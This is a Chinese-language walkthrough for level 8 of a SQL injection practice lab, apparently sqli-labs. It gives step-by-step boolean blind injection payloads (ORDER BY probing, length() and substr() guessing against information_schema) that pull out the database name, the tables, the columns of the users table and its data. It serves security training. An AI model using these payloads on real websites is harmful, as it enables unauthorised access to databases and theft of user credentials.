一.判断类型
输入?id=1 and 1=1--+
输入?id=1 and 1=2--+页面都正常,说明不是数值型
输入?id=1'页面没有回显
加上--+页面正常,说明是字符型注入
二.判断列数
输入?id=1' order by 3--+页面正常
输入?id=1' order by 4--+页面没有回显,说明一共有三列
三.查询数据库
我们需要用到布尔盲注
1.判断长度
输入?id=1' and length(database())>7--+页面正常
输入?id=1' and length(database())>8--+页面无回显,说明数据库长度为8位
2.查询库名
我们要用到substr()函数,这是一个截取的函数substr(要截取的内容,第几位字母,截取到几位)
输入?id=1' and substr(database(),1,1)='a'--+页面异常说明第一位字母不是a
输入?id=1' and substr(database(),1,1)='s'--+当我们试到s的时候页面正常,说明第一位字母是s
接下来我们在找第二个字母是e
。。。以此类推。。。
最后查询到数据库名为security
四.查询表名
1.判断表的个数
输入?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')>3--+
输入?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')>4--+
说明有4个表
2.判断第一个表的长度
输入?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>5--+
输入?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>6--+
>5的时候页面正常,>6的时候页面异常说明长度为5
3.判读第一个表的字符
输入?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+
输入?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+
a的时候页面异常,e的时候页面正常,说明第一个表的的第一列的第一个字母为e
以此类推换这里的参数
把所有表的列都试出来,就会发现一个users表
五.查询列名
输入?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'--+
我们像上面一样把数据都试出来就是id,username,passqord
六.查询数据
1.查询个数
输入?id=1' and (select count(*) from users)=13--+
它的个数有13个
2.查询数据
输入?id=1'and length((select id from users limit 0,1))=1 --+
输入?id=1'and substr((select username from users limit 0,1),1,1)='d' --+
以此类推都可以得到数据。。。
以上就是sql靶场第八关通关攻略